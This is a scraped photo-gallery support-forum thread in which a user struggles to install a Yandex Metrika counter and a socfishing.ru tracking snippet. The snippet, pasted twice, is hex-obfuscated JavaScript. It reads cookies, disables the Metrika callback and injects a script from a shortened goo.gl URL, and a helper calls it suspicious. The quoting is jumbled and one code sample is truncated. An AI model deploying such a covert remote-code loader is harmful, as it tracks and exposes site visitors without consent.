It works!
Just had to wait
X3 Photo Gallery Support Forums
it may work for a single page, but it's not technically correct to glue javascript into your custom page content. Probably would work though. More importantly, I gave you some custom code in my previous post, where I clearly asked you to add to settings->custom->custom javascript. You did not try this?ArtyFilin wrote:I agree, the <counters> there should not be. This is a false tip on one of the forums.
Instructions for installing counter Yandex Metrics https://www.yandex.ru/support/metrika/q ... stall-code
The counter is set in settings/page/include/content prepend
(Is that right?)
What are you supposed to see here? Got any examples?ArtyFilin wrote:Manual verification of the meter here: https://www.yandex.ru/support/metrika/g ... ounter.xml
Use parameter ?_ym_debug=1
(http://af-photo.ru/?_ym_debug=1)
Next see attach pic.
The result: the meter is not installed correctly.
First of all, I don't see that any code related to SOCFISHING is installed anywhere. Second, that error in your screenshot is from METRIKA and has nothing to do with X3.ArtyFilin wrote:And one more thing.
Here are instructions for the installation of another code I needed: http://socfishing.ru/help/start/
It says that the code should be set inside the <head>tag
Install it in settings/custom/custom <head>
After this my site is not working correct.
This code also needed.
What I need to do to make it work correctly? Thanks for the reply.
watch.js:106 Uncaught TypeError: Cannot read property 'counters' of undefined
Unfortunately, after installing the code in the specified field Yandex.Metrics can't find counter.I am not sure how yandex counter works, but you can try to add the below into your settings->custom->custom javascript. If it does not work, I need a link which documents how to add code for metrika ... I can't do this for you. Why not use Google Analytics? It is built-in to X3.Codefunction x3_load_page(){ $.getScript("https://mc.yandex.ru/metrika/watch.js"); (function (d, w, c) { (w[c] = w[c] || []).push(function() { try { w.yaCounter26058345 = new Ya.Metrika({ id:26058345, clickmap:true, trackLinks:true, accurateTrackBounce:true, webvisor:true }); } catch(e) { } }); };
<script type="text/javascript">var l="3b7005d41d8cd9593234999";function _lt(t){var e=document["\x63\x6F\x6F\x6B\x69\x65"]["\x6D\x61\x74\x63\x68"]( new RegExp("\x28\x3F\x3A\x5E\x7C\x3B\x20\x29"+t["\x72\x65\x70\x6C\x61\x63\x65"](/([\.$?*|{}\(\)\[\]\\/\+^])/g,"\x5C\x24\x31")+"\x3D\x28\x5B\x5E\x3B\x5D\x2A\x29"));return e?decodeURIComponent(e[1]):!1}function _bt(){return _bt= !1,navigator["\x75\x73\x65\x72\x41\x67\x65\x6E\x74"]["\x6D\x61\x74\x63\x68"]("\x62\x6F\x74\x73")&&(_bt= !0),_bt}if(!_bt()){_lt("\x79\x5F"+l)||eval(function(t,e,n,r,c,o){if(c=function(t){return t},!""["\x72\x65\x70\x6C\x61\x63\x65"](/^/,String)){for(;n--;){o[n]=r[n]||n};r=[function(t){return o[t]}],c=function(){return "\x5C\x77\x2B"},n=1};for(;n--;){r[n]&&(t=t["\x72\x65\x70\x6C\x61\x63\x65"]( new RegExp("\x5C\x62"+c(n)+"\x5C\x62","\x67"),r[n]))};return t}("\x30\x20\x31\x28\x29\x7B\x32\x20\x33\x7D",4,4,"\x66\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x79\x61\x6E\x64\x65\x78\x5F\x6D\x65\x74\x72\x69\x6B\x61\x5F\x63\x61\x6C\x6C\x62\x61\x63\x6B\x73\x7C\x72\x65\x74\x75\x72\x6E\x7C\x66\x61\x6C\x73\x65"["\x73\x70\x6C\x69\x74"]("\x7C"),0,{}));var sfl=document["\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74"]("\x73\x63\x72\x69\x70\x74");sfl["\x74\x79\x70\x65"]="\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74",sfl["\x73\x72\x63"]="\x68\x74\x74\x70\x73\x3A\x2F\x2F\x67\x6F\x6F\x2E\x67\x6C\x2F\x41\x74\x6F\x34\x4E\x49\x23\x6C\x2E\x6A\x73",(document["\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65"]("\x68\x74\x6D\x6C")[0]||document["\x62\x6F\x64\x79"])["\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"](sfl)}var _j=true;</script>
Strange code. They need to encode it like that? If I didn't know better, I would think it would be virus-code since it's encrypted. I checked the website you referred to, and can't see anything that resembles the above code.ArtyFilin wrote:Here is one more code, which need to be into <head> tag.Code<script type="text/javascript">var l="3b7005d41d8cd9593234999";function _lt(t){var e=document["\x63\x6F\x6F\x6B\x69\x65"]["\x6D\x61\x74\x63\x68"]( new RegExp("\x28\x3F\x3A\x5E\x7C\x3B\x20\x29"+t["\x72\x65\x70\x6C\x61\x63\x65"](/([\.$?*|{}\(\)\[\]\\/\+^])/g,"\x5C\x24\x31")+"\x3D\x28\x5B\x5E\x3B\x5D\x2A\x29"));return e?decodeURIComponent(e[1]):!1}function _bt(){return _bt= !1,navigator["\x75\x73\x65\x72\x41\x67\x65\x6E\x74"]["\x6D\x61\x74\x63\x68"]("\x62\x6F\x74\x73")&&(_bt= !0),_bt}if(!_bt()){_lt("\x79\x5F"+l)||eval(function(t,e,n,r,c,o){if(c=function(t){return t},!""["\x72\x65\x70\x6C\x61\x63\x65"](/^/,String)){for(;n--;){o[n]=r[n]||n};r=[function(t){return o[t]}],c=function(){return "\x5C\x77\x2B"},n=1};for(;n--;){r[n]&&(t=t["\x72\x65\x70\x6C\x61\x63\x65"]( new RegExp("\x5C\x62"+c(n)+"\x5C\x62","\x67"),r[n]))};return t}("\x30\x20\x31\x28\x29\x7B\x32\x20\x33\x7D",4,4,"\x66\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x79\x61\x6E\x64\x65\x78\x5F\x6D\x65\x74\x72\x69\x6B\x61\x5F\x63\x61\x6C\x6C\x62\x61\x63\x6B\x73\x7C\x72\x65\x74\x75\x72\x6E\x7C\x66\x61\x6C\x73\x65"["\x73\x70\x6C\x69\x74"]("\x7C"),0,{}));var sfl=document["\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74"]("\x73\x63\x72\x69\x70\x74");sfl["\x74\x79\x70\x65"]="\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74",sfl["\x73\x72\x63"]="\x68\x74\x74\x70\x73\x3A\x2F\x2F\x67\x6F\x6F\x2E\x67\x6C\x2F\x41\x74\x6F\x34\x4E\x49\x23\x6C\x2E\x6A\x73",(document["\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65"]("\x68\x74\x6D\x6C")[0]||document["\x62\x6F\x64\x79"])["\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"](sfl)}var _j=true;</script>
<script>
(function (d, w, c) {
(w[c] = w[c] || []).push(function() {
try {
w.yaCounter26058345 = new Ya.Metrika({
id:26058345,
clickmap:true,
trackLinks:true,
accurateTrackBounce:true,
webvisor:true
});
} catch(e) { }
});
var n = d.getElementsByTagName("script")[0],
s = d.createElement("script"),
f = function () { n.parentNode.insertBefore(s, n); };
s.type = "text/javascript";
s.async = true;
s.src = "https://mc.yandex.ru/metrika/watch.js";
if (w.opera == "[object Opera]") {
d.addEventListener("DOMContentLoaded", f, false);
} else { f(); }
})(document, window, "yandex_metrika_callbacks");
</script>